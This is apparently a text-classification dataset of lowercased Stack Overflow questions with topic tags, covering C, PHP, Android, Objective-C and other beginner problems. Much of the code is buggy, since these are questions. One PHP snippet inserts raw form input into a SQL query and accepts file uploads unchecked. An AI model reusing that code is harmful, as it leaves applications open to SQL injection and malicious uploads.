     &lt;/div&gt;
     &lt;div ng-controller= secondcontroller &gt;
         &lt;span&gt;{{data}}&lt;/span&gt;
     &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",angularjs
strange html syntax  in the code i am working on i found this:   <pre><code>&lt;div class= icon icon2  screen-icon  data-screen-idx=1&gt; </code></pre>   what puzzles me is the last  attribute  (or whatever it is ) is this <code>data-screen-idx-1</code> legal in html tag  please note that <code>1</code> is not quoted.    if yes  where can i find info about this. if not  why would someone write such thing,html
can i install microsoft visual studio 2010 service pack 1 in microsoft visual web developer 2010 express  can i install microsoft visual studio 2010 service pack 1 in microsoft visual web developer 2010 express  thanks!,asp.net
does an empty initialization in c automatically malloc   let s say i have a struct that is a list such as    <pre><code>typedef struct mylist {    int head;    int tail;    int size;    buckets_t *bucketslots;  } mylist_t; </code></pre>   and then    <pre><code>void create_list(mylist_t* list  int size) {    list-&gt;head = 0;    list-&gt;tail = 0;    list-&gt;size = size;    list-&gt;bucketslots = malloc(sizeof(bucket_t) * size); } </code></pre>   now  in my main method  if i perform:   <pre><code>mylist_t list1; create_list(&amp;list1  1000); </code></pre>   does the second to last line automatically malloc space for list1  or  do i need to explicitly malloc space through   <pre><code>malloc(sizeof(mylist_t)) </code></pre>        what i d like to really know is if this is a valid procedure to make a struct of type mylist and start using it in main.     edit    it appears that c puts list1 on the stack when i declare the second to last line  but it does not go on the heap. if i want it on the heap  should i do the following  :    <pre><code>mylist_t* create_list(int size) {    mylist_t list1 = malloc(sizeof(mylist_t));    list-&gt;head = 0;    list-&gt;tail = 0;    list-&gt;size = size;    list-&gt;bucketslots = malloc(sizeof(bucket_t) * size);    return list1; } </code></pre>   and then for calling the function:   <pre><code>create_list(1000); </code></pre>   with this  will i have access to list1 throughout the program,c
or and return value clarification  i m still learning objective-c and this code seems odd and hard to get a good search result with.   <pre><code>@interface practice : nsobject  {    nsstring *name;    nsstring *sortkey; }  - (nscomparisonresult)sortpack:(practice *)other {     return [[self sortkeyorname] caseinsensitivecompare:[other sortkeyorname]];  } </code></pre>   here s my question:    <ol> <li> the  or  in [self sortkeyorname] can either be the two variables  if so  how can it determine which variable to take  </li> <li> how does the process works in this call  here s my take on this  it compares other and sortkeyorname then returns if its asc  desc  or the same and does the value returned assigned to [self sorkeyorname]  </li> </ol>   thank you.,objective-c
convert from html to ms word  i want to convert editor content to word document iam using asp.net with vb code    please any body help me how to that and wich library should i use,.net
media query isnt working  that menu is not responsive . it appears outside the condition.    <pre><code>@media only screen and (min-width : 320px) and (max-width : 568px) {    .menu {     background: transparent url(menu.png) no-repeat;     display: inline-block;     visibility:visible;   }  .menu {         background: transparent url(menu.png) no-repeat;         display: none;         visibility:hidden;        } </code></pre>,css
nsalert bug with beginsheetmodalforwindow  abtract:  when the method <code>beginsheetmodalforwindow:modaldelegate:didendselector:contextinfo</code> supplies an object for <em>contextinfo</em> that is an nsarray or an nsdictionary  it will in practice become an arbitrary pointer to anywhere in memory. what is the proper solution to this     the following illustrates the  problem:   <pre><code>- (ibaction)testbutton:(id)sender {     nsalert *alert = [[nsalert alloc] init];     [alert beginsheetmodalforwindow:thewindow                       modaldelegate:self                        idendselector:@selector(alertdidend:returncode:contextinfo:)                          contextinfo:[nsarray arraywithobject:@ bla bla ]]; </code></pre>   }   <pre><code>- (void) alertdidend:(nsalert *)alert            returncode:(nsinteger)returncode           contextinfo:(nsarray *)contextinfo {     nslog(@ contextinfo: %@   contextinfo); </code></pre>   }    the nslog will output anything arbitrary in memory  including a crash if the pointer is empty. however  if contextinfo is something simpler  such as an nsstring  nsnumber  or even an outlet such as an nstextfield  it will work ok. also  if i supply an instance variable that is an nsarray or an nsdictionary  then it works.    in apples documentation  <em>contextinfo</em> is declared as (void *)  so it can be anything (even an arbitrary pointer). but since i know the class  i declare it nsarray in this example. the problem  however  does not depend on what i declare contextinfo to be.    the problem occurs in lion when i have garbage collection.    in message <a href= https://stackoverflow.com/q/6855573/1268345 >using nsalert beginsheetmodalforwindow with contextinfo</a>  noa  says  <em>if you re using garbage collection  store  in an instance variable – anywhere  doesn t matter – so it isn t released at the end of the run loop. you need  to stick around until the didendselector can act on it</em>.     that is a good workaround  but it s weird  and pretty ugly. aren t there any more elegant solutions     is this behavior really what apple intends  or a clear bug  simple objects such as nsstring and nsnumber are ok  but not nsarray. if it really isn t a bug  shouldn t the limitations of contextinfo be specified  and shouldn t it be specified exactly when and how it needs to be explicitly retained in some way  or will gc simply not guarantee anything whatsoever with this method unless <em>contextinfo</em> is an instance variable,objective-c
is it possible to auto login in a web application using the username and password entered at the startup of windows   i am new to .net and in learning phase only.i want to make an application which automatically grabs the username and password entered at the time of start up of windows and login the user in that application with that username and password.,.net
sql order by query to display the name in order  i am using <strong>oder by name</strong> in my sql query.<br> the following is the name in my table.     <pre><code>rama1   rama2   rama10     rama3   rama11 </code></pre>   i am using the query to display the name <strong>order by name</strong><br> the output is coming like      <pre><code>rama1   rama10   rama11   rama2   rama3 </code></pre>   but i need the output should be      <pre><code>rama1   rama2   rama3   rama10   rama11   </code></pre>   please help me with the query to get the above output.    thanks in advance,sql
web project not loading after installing vs2012  i have installed visual studio 2012 ultimate version and im trying open an existing solution built using 2012 by one of my colleages. all other projects load except the web project. the error i get is     d:\projects\webui.vbproj : error  : the web application project webui is configured to use iis.  unable to access the iis metabase. you do not have sufficient privilege to access iis web sites on your machine.    i haven t explicity installed any version of the framework. pls let me know of a solution if anyone has come accross this issue.    many thanks.,.net
how to sum up a total of two instances in a dice game  after rolling multiple times  i have started a project  where it involves generating random numbers and reaching a certain total.    in this project  this is a dice game called  twenty-one . it s where the user rolls a set of two dice multiple times  until it reaches a total of 21 (not in the number of rolls). during this time  when the user reaches a total of 15  only one die can be used to add up the remaining numbers. if the user reaches exactly 21  then a message will pop up saying he or she won; if it s over 21  then they lose. here s an example:   <pre><code>2+5 = 7 1+3 = 4 (up to 11) 2+2 = 4 (up to 15) 3+3 = 6 (up to 21)  winner!!  </code></pre>   i ve have a created a code for this problems  but it s a work in progress. i ve also added to the code a series of if and else statements that will show the two dice. this is my code so far:   <pre><code>// roll the dice  button click private void btnrolldice_click(object sender  eventargs e) {     //generating random numbers     random random = new random();      int diceinta = new int();     int diceintb = new int();     int diaval  dibval  total;      diceinta = random.next(1  7);     diceintb = ranbom.next(1  7);     diaval = diceinta + 1;     dibval = diceintb + 1;     total = diaval + dibval;      lbltotal.text(total.tostring());      //image of the first die         if (diceinta == 1)             pbdshow1.image = pboxdice1.image;         else if (diceinta == 2)             pbdshow1.image = pboxdice2.image;         else if (diceinta == 3)             pbdshow1.image = pboxdice3.image;         else if (diceinta == 4)             pbdshow1.image = pboxdice4.image;         else if (diceinta == 5)             pbdshow1.image = pboxdice5.image;         else             pbdshow1.image = pboxdice6.image;          //image of the second die         if (diceintb == 1)             pbdshow2.image = pboxdice1.image;         else if (diceintb == 2)             pbdshow2.image = pboxdice2.image;         else if (diceintb == 3)             pbdshow2.image = pboxdice3.image;         else if (diceintb == 4)             pbdshow2.image = pboxdice4.image;         else if (diceintb == 5)             pbdshow2.image = pboxdice5.image;         else             pbdshow2.image = pboxdice6.image; } </code></pre>   after reviewing my code  i ve thought up of so many ideas where i could add up the numbers of the two dice. an example of this is the following code:   <pre><code>int twentyone = 21; int onedie = 15;  if (total = twentyone) {     messagebox.show( winner! ); } else (total &gt; twentyone) {     messagebox.show( you went over 21. you lose. ); } </code></pre>   if the latter code is not efficient  what other method should i use to make the dice total up to 21,c#
two-dimensional array not displaying proper output  i want the user to input values in a 2 dimensional array. he can also choose the size of each dimension   <pre><code>    int main() {     int x;     int y;     int *p;     cout&lt;&lt; how many items do you want to allocate in dimension x  &lt;&lt;endl;     cin&gt;&gt;x;     cout&lt;&lt; how many items do you want to allocate in dimension y  &lt;&lt;endl;     cin&gt;&gt;y;     p = new int[x y];     for(int i=0; i&lt;x; i++)    //this loops on the rows.     {         for(int j=0; j&lt;y; j++) //this loops on the columns         {             int value;             cout&lt;&lt; enter value:  &lt;&lt;endl;             cin&gt;&gt;value;             p[i j] = value;         }     }     drill1_4 obj;     obj.copyarray(p x y);  } </code></pre>   and then  ill output the two dimensional array via   <pre><code>class drill1_4 { public:     void copyarray(int* int int); private:     int *p; };  void drill1_4::copyarray(int* a int x int y) {     p = a;     for(int i=0; i&lt;x; i++)    //this loops on the rows.     {         for(int j=0; j&lt;y; j++) //this loops on the columns         {             cout &lt;&lt; p[i j]  &lt;&lt;     ;         }         cout &lt;&lt; endl;     }     getch(); } </code></pre>   logic seems fine  but lets say  if the user enters the numbers  the array should look like this    1 2    3 4    but instead  it looks like this:    3 3    4 4    the array is not displaying it correctly.,c++
directoryiterator::getbasename vs directoryiterator::getfilename  is there any difference between <a href= http://us2.php.net/manual/en/directoryiterator.getbasename.php  rel= noreferrer ><code>getbasename</code></a> and <a href= http://us2.php.net/manual/en/directoryiterator.getfilename.php  rel= noreferrer ><code>getfilename</code></a> when called with no arguments,php
why date_format() not working correctly   i am using following query to show gross and net amount month &amp; year-wise:   <pre><code>select date_format(billdate  mmm-yyyy )  sum(grossamount)  sum(netamount)  from billdetails group by month(billdate); </code></pre>   other columns are displayed correctly except the first one that involves date_format. it is displaying mmm-yyyy in all rows instead of the actual month and year.,mysql
css drop down menu  how to keep menu infront of content  i have created a css drop down menu but when i hover over a link i can still see the content beneath.    <a href= http://ljessett.hndcomputing.net/lewis/  rel= nofollow >http://ljessett.hndcomputing.net/lewis/</a>    i have tried editing the z-index but that hasnt work any ideas,css
parsing json image  i m parsing my data on this way:   <pre><code> nsdictionary *item = [tabledata objectatindex:[indexpath row]];     [[cell textlabel] settext:[item objectforkey:@ title ]];     [[cell detailtextlabel] settext:[item objectforkey:@ description ]]; </code></pre>   but is there a way to parse an cell image  normally it s   <pre><code>uiimage *cellimage = [uiimage imagenamed:@ image.png ]; cell.imageview.image = cellimage; </code></pre>   but i m searching for a way like   <pre><code>[[cell uiimage cellimage] .... </code></pre>   something like that so i can parse an image url from json in it    is that possible,objective-c
android application starts on emulator but does not respond  everything was working fine yesterday and today  my application does not respond on the emulator! it s driving me crazy as i have done nothing different or made any changes apart from updating android studio and i do not know if that s the cause. the app launches on the emulator but it keeps flickering on and off. other apps work fine.    my logcat output gives me this and doesn t stop!:   <pre><code>   --------- beginning of system 08-28 14:29:16.772    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:16.772    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa370ae00  error=egl_success 08-28 14:29:16.890    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:17.009    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:17.009    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa28cad20  error=egl_success 08-28 14:29:17.233    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:17.312    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:17.312    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa29a7b60  error=egl_success 08-28 14:29:17.382    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:17.529    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:17.529    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa29a7b40  error=egl_success 08-28 14:29:17.839    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:17.883    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:17.883    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa2a98dc0  error=egl_success 08-28 14:29:17.926    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:18.097    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:18.097    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa2a98da0  error=egl_success 08-28 14:29:18.282    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:18.339    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:18.339    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa2ba3480  error=egl_success 08-28 14:29:18.539    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:18.628    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:18.628    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa327f3a0  error=egl_success 08-28 14:29:18.674    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:18.840    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:18.840    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa327f380  error=egl_success 08-28 14:29:19.136    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:19.195    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:19.195    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa250aa40  error=egl_success 08-28 14:29:19.323    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:19.543    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:19.543    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa25843a0  error=egl_success 08-28 14:29:19.657    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:19.840    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:19.840    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa25f0600  error=egl_success 08-28 14:29:20.047    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:20.191    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:20.191    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa2601260  error=egl_success 08-28 14:29:20.398    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:20.461    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:20.461    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa243a740  error=egl_success 08-28 14:29:20.667    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:20.771    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:20.771    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa24477e0  error=egl_success 08-28 14:29:20.979    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. 08-28 14:29:21.072    1997-2013/com.example.lysandroslysandrou.myapplication w/egl_emulation﹕ eglsurfaceattrib not implemented 08-28 14:29:21.072    1997-2013/com.example.lysandroslysandrou.myapplication w/openglrenderer﹕ failed to set egl_swap_behavior on surface 0xa2447720  error=egl_success 08-28 14:29:21.264    1997-1997/com.example.lysandroslysandrou.myapplication i/appcompatviewinflater﹕ app:theme is now deprecated. please move to using android:theme instead. </code></pre>   and my console is this..:   <pre><code>emulator: device fd:784 haxm is working and emulator runs in fast virt mode emulator: warning: opening audio input failed creating window 61 83 462 820 emulator: emulator window was out of view and was recentered draw: could not use program error=0x505 draw: could not use program error=0x505 draw: could not use program error=0x505 draw: could not use program error=0x505 draw: could not use program error=0x505 colorbuffer::bindfbo: fbo not complete: 0x8cd6 colorbuffer::bindfbo: fbo not complete: 0x8cd6 colorbuffer::bindfbo: fbo not complete: 0x8cd6 draw: could not use program error=0x505 draw: could not use program error=0x505 colorbuffer::bindfbo: fbo not complete: 0x8cd6 colorbuffer::bindfbo: fbo not complete: 0x8cd6 draw: could not use program error=0x505 colorbuffer::bindfbo: fbo not complete: 0x8cd6 draw: could not use program error=0x505 colorbuffer::bindfbo: fbo not complete: 0x8cd6 draw: could not use program error=0x505 colorbuffer::bindfbo: fbo not complete: 0x8cd6 colorbuffer::bindfbo: fbo not complete: 0x8cd6 draw: could not run program: ü draw: could not run program: à draw: could not run program: ì draw: could not run program: ì draw: could not run program: ì draw: could not run program: ì draw: could not run program: ì draw: could not run program: ì draw: could not run program: ì draw: could not run program: ì draw: could not run program: ì draw: could not run program: ì draw: could not run program: ì draw: could not run program: î draw: could not run program: î draw: could not run program: î draw: could not run program: ð draw: could not run program: ð colorbuffer::bindfbo: fbo not complete: 0 draw: could not run program: ò </code></pre>   these outputs don t stop!! please any help will be appreciated.. if anything else is needed let me know!!,android
do i need to escape strings when building a python dictionary with values taken from user-input   i m using bottle s request object to get user input    and then i create a dictionary as    <pre><code>dict = {...           user_text : request.params.get( user_text )          ...         } </code></pre>   is there a possible input for which this dictionary could break  like for example  having the colon character in some way. should i transform request.params.get( user_text ) into unicode,python
is it possilbe to get the file list of all ringtones that install in iphone  is it possilbe to get the file list of all ring tones that install in iphone  i mean only get the the file name list rather than access the ring tone files.    is it possible     welcome any comment,iphone
c# - resourcemanager and resourceset give me empty or null result  i m currently working on resources files to translate some texte.    i have the main  revitstring.resx  and  revitstring.fr-fr.resx . they both have the same keys with translated values and are in public.    i want to use them inside my c# code with the following code :   <pre><code>resourceset resourceset = resources.languages.tables.revitstring.resourcemanager.getresourceset(cultureinfo.currentuiculture  true  true); type = (from resourcedictionary x          in resourceset          where x.keys.tostring() == _type.definition.parametergroup.tostring()         select x.values.tostring()).firstordefault(); </code></pre>   but when i run this  i got a null resourceset and when i look on the resourcemanager   resourcesets  is empty with count = 0.    what did i do wrong      i already wath some posts like <a href= https://stackoverflow.com/questions/1646233/why-does-resourcemanager-getresourceset-return-null-on-the-first-request-after-a >this</a>    thank you!,c#
android app language change  i am changes my app language to other language.. this code is in my main activity.   <pre><code>lang = from sharedpreferenes;  configuration config = getbasecontext().getresources()                 .getconfiguration();  if (!config.locale.getlanguage().equals(lang)) { locale locale2 = new locale(lang); locale.setdefault(locale2); configuration config2 = new configuration(); config2.locale = locale2; mcontext.getresources().updateconfiguration(config2  null); } </code></pre>   when i change orientation and click a button to open next activity  language change back to the default phone language(english). i did try to use locale in manifest     android:configchanges= keyboardhidden|orientation|locale  but no effect....any idea how to do it,android
objective-c: setting autoreleased objects to nil  is it safe to set an autoreleased object to nil  i know i don t need to release an autoreleased object but if i want the object to be released immediately to minimize memory use  can i set the object to nil .    i may have read this somewhere a while back  but i can t remember where and i want to make sure that it is safe to do that.,objective-c
how can i execute random results in c++ as the code given below  <pre><code> #include &lt;iostream&gt;  using namespace std;  int main(){      int results[] = {1  2  3  4  5};      cout &lt;&lt; results &lt;&lt; endl;      return 0;  } </code></pre>   i want <b>different</b> result each time. for example: first time 1 second time 2 etc. any help,c++
can we use ternary operator within an if statement    i know it s a kinda stupid question but my teacher says we can t use a ternary operator within an if statement as it s an alternative for it... i mean  i can myself find it stupid while typing it...     but can plz anyone tell me if we can use ternary operators within an if statement in c++,c++
formatting output in c# with curly brackets  what do the values within the curly brackets do in this example    <pre><code>{  double price = 1234.56  console.writeline( tv{0:f0} is {1:c}    2  price);  console.read(); } </code></pre>,c#
form action is another page(php code) how to validate the form and display error message in view page  form validation in php when form action is another page (php code). how do i validate the form and display error message in view page     <strong>view page</strong>    <pre><code>&lt;html&gt; &lt;body&gt; &lt;form action= redirect.php  method= post  enctype= multipart/form-data &gt;       &lt;label for= name &gt;&lt;b&gt;name: &lt;/b&gt;&lt;/label&gt;     &lt;input type= text   name= name  id= name  &gt; &lt;br&gt;     &lt;label for= email &gt;&lt;b&gt;email: &lt;/b&gt;&lt;/label&gt;     &lt;input type= text   name= email  id= email  &gt; &lt;br&gt;     &lt;label for= email &gt;&lt;b&gt;project type: &lt;/b&gt;&lt;/label&gt;     &lt;input type= text   name= projecttype  id= projecttype &gt; &lt;br&gt;     &lt;label for= email &gt;&lt;b&gt;project description: &lt;/b&gt;&lt;/label&gt;     &lt;input type= text   name= pdescription  id= pdescription  &gt; &lt;br&gt;     &lt;label for= file &gt;&lt;b&gt;file upload: &lt;/b&gt;&lt;/label&gt;     &lt;input type= file   name= file   id= file &gt; &lt;br&gt;     &lt;div class= clearfix &gt;       &lt;input type= submit  name= submit1  id= submit1  value= submit1 &gt;     &lt;/div&gt;   &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   <strong>redirect.php</strong>   <pre><code>&lt; php if(isset($_post[ submit1 ]))  {     $name=$_post[ name ];     $email=$_post[ email ];     $projecttype=$_post[ projecttype ];     $projectdetails=$_post[ pdescription ];     $attachment=$_files[ file ][ name ];     $tmp_name=$_files[ file ][ tmp_name ];     move_uploaded_file($tmp_name  upload/ .$attachment);     $query=mysql_query( insert into projectdetails(customer_name customer_email customer_attachment customer_project_type customer_project_details) values( $name   $email   $attachment   $projecttype   $projectdetails ) );     if($query)     {            header( location: test2.php );           }      &gt; </code></pre>,php
how to create a hook for custom url schemes   i have a custom url scheme for my app. when the user goes to my app s browser page and has the app installed i redirect them to the custom url scheme i.e. <code>myapp://dosomething ref=117</code>    this loads up my app and is working fine.     <strong>question</strong>    inside my app how do i intercept that the app got opened by the custom url  i want to intercept <code>dosomething ref=117</code> and open a particular screen.,ios
read only first column from txt file  i have simple txt file with maybe 6 columns and 10000 rows. how can i read only first column and save it in some array      every solution that i tried didn t work.     i manage it with octave very simply    <pre><code>data = load( sample.txt )  first_column = data(: 1) </code></pre>   edit: i forgot to metion  i have to rows of strings that i need to skip.  my file starts like this:   <h1>ib*ns    average  e /mk    average ek /mk    average ep /mk   walkers</h1>  <h1>--------  ------------ ---  ------------ ---  ------------ ---  --------</h1>  <pre><code>  2000   -89.4010789        736.581586       -825.982664          4988   4000   -86.8499373        707.358765       -794.208703          4952   6000   -87.3911178        680.584591       -767.975709          4968 </code></pre>,python
how can i pass string to string[]   i need to pass a string with type a b c d e(separated with comma) in each string[] value.   <pre><code>string test = a b c d e ; string[] arr1 = new string[5]; </code></pre>,c#
expected } in c code  so  keep having problems with this calculator i m making (still learning c)  it s giving me an error at the very end of the code   expected } . but i have } at the end  ive added another one to see if that would work  but then it says  expected while in do/while loop .   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdbool.h&gt;  int main() {     float number[100];     int operator =  0 ;     int doagainanswer = 0;     int doagain;     float finished;     int error;     do{         if(number[1] == 0){             printf( number 1:  );             scanf( %f   &amp;number[1]);         } else if(number[1] != 0) {             printf( \n\nnumber 1: %.2f\n   number[1]);               printf( number 2:  );             scanf( %f   &amp;number[2]);             printf( \noperator:\n1 addition\n2 subract\n3 multiply\n4 divide.\nchoice:  );             scanf( %d   &amp;operator);              if(operator == 1){                 finished = number[1] + number[2];                 printf( \n\n%.2f \+ %.2f is: %.2f   number[1]  number[2]  finished);              }             if(operator == 2){                 finished = number[1] - number[2];                 printf( \n\n%.2f \- %.2f is: %.2f   number[1]  number[2]  finished);              }             if(operator == 3){                 finished = number[1] * number[2];                 printf( \n\n%.2f \* %.2f is: %.2f   number[1]  number[2]  finished);              }             if(operator == 4){                 finished = number[1] / number[2];                 printf( \n\n%.2f \/ %.2f is: %.2f   number[1]  number[2]  finished);             }              if(operator &gt; 4){                 printf( \n\nerror: invalid operation.\n\n  );                 error =  1 ;             }             if(error != 1){                 printf( \ncontinue \n1: yes\n2: yes and use answer as starting value.\n3: no\nanswer:  );             } else if(error == 1){                 printf( \ntry again  1 yes 3 no:  );             }             scanf( %d   &amp;doagainanswer);             if(doagainanswer == 1) {                 doagain = 1;             } else                  if(doagainanswer == 2){                     doagain = 1;                     number[1] = finished;                  } else                     if(doagainanswer == 3){                         doagain = 0;                         printf( goodbye :( );                         exit(0);                     } else                         if(doagainanswer &gt; 4){                             printf( \n\nerror invalid operation.\n\n );                         }         }while(doagain == 1);         return 0;      } </code></pre>,c
how can i stream a movie in ios and playback from the filesystem later   i ve got an app that currently ships with all the videos it can play embedded in it. this doesn t scale well  and unless you want to play all the movies  wastes disk space. it also makes it less desirable to upgrade the app because you have to re-download all movies.    what i would like to do is download the movie on the fly  play it back while downloading  and then if it s successfully downloaded  save it to the file system so that next time they want to watch it  it streams from the local file.    i can do whatever is needed to the video  but currently i m serving it up as an .mp4 file from amazon s3  with a mimetype of video/mp4  and so the first half of my issue works fine: the movie downloads  and mpmovieviewcontroller will start playing it as soon as it thinks it has downloaded  enough.     is there any way to tap into the cache of that video file so that i can save it and control how long it resides on the filesystem  this seems like it would be the easiest approach.    i am targeting ios 5+6  but if the only solution available required ios 6  i would consider it also. thanks!    <strong>update:</strong> using afnetworking  i am now half-way there  i think. i am downloading the video file from the server  and listening for the download progress. once i see 25% of the video has been downloaded  i start playback on the local file using an mpmovieplayercontroller.    the main issue i m running into now is playback seems to get screwed up. it s going along fine  25% downloaded  playback starts... download continues normally... then the file finishes downloading completely  and shortly thereafter video freezes. the onscreen playback timer still indicates playback is ongoing and i don t see any  playback finished  type notifications  but the video is frozen. my guess based on the behavior is that perhaps the initial buffer for the video playback was used up  and it isn t detecting that more video is available on disk now     is there any way to interact with mpmovieplayercontroller to let it know periodically to refresh the buffer it s playing out of  or some other way to handle this situation,ios
oneditoractionlistener called twice with same eventtime on senseui keyboard  on just one phone i am testing on (htc incredible  android 2.2  software 3.21.605.1)  i am experiencing the following behavior.    the oneditoraction event handler is being called twice (immediately) when the enter key on the sense ui keyboard is pressed.    the keyevent.geteventtime() is the same for both times the event is called  leading me to this work-around:   <pre><code>protected void oncreate(bundle savedinstancestate) {     [...]      edittext text = (edittext)findviewbyid(r.id.txtbox);     text.setoneditoractionlistener(new oneditoractionlistener() {         private long lastcalled = -1;          public boolean oneditoraction(textview v  int actionid  keyevent event) {             if ( event.geteventtime() == lastcalled ) {                 return false;             } else {                 lastcalled = event.geteventtime();                 handlenextbutton(v);                 return true;             }         }     });      [...] } </code></pre>   the edittext is defined as:   <pre><code>&lt;edittext      android:layout_width= 150sp       android:layout_height= wrap_content      android:id= @+id/txtbox       android:imeoptions= actionnext      android:capitalize= characters       android:singleline= true      android:inputtype= textvisiblepassword|textcapcharacters|textnosuggestions      android:autotext= false       android:editable= true       android:maxlength= 6  /&gt; </code></pre>   on all other devices i ve tested on  the action button is properly labeled  next  and the event is only called a single time when that button is pressed.    is this a bug in sense ui s keyboard  or am i doing something incorrectly     thank you for any assistance.   <hr>   updated - thanks to the answers given  i have settled on the following as my checks. this works fine on both of the phones i have available to test (sense ui and cyanogenmod cm7)   <pre><code>            if (event != null &amp;&amp; event.getaction() != keyevent.action_down) {                 return false;             }              if ( actionid != editorinfo.ime_action_next &amp;&amp; actionid != editorinfo.ime_null ) {                 return false;             } </code></pre>,android
most efficient way to convert lower to upper case in c   using the standard input  the user enters 1 letter. if its a valid lower-case letter  then the program prints out the upper-case version.,c
undefined offset in basic array script  what is undefined offset error. i am new in php world. i write some code.but error appear like that.    notice: undefined offset: 5 in d:\xammp\htdocs\dashboard\ali.php on line 15 student 5:     notice: undefined offset: 6 in d:\xammp\htdocs\dashboard\ali.php on line 15 student 6   <pre><code>here is code.  &lt; php      $ali = array();     $ali[1] = 1.3;     $ali[2] = 3.2;     $ali[3] = 3.4;     $ali[4] = 4.3;      for($i = 7; $i &lt;= 150; $i++){         $ali[$i] = mt_rand(20  40) * 0.1;      }      $x = 1;     while($x &lt; 7){         echo  student $x:   . $ali[$x] .  &lt;br /&gt; ;         $x +=1;     }   &gt; </code></pre>,php
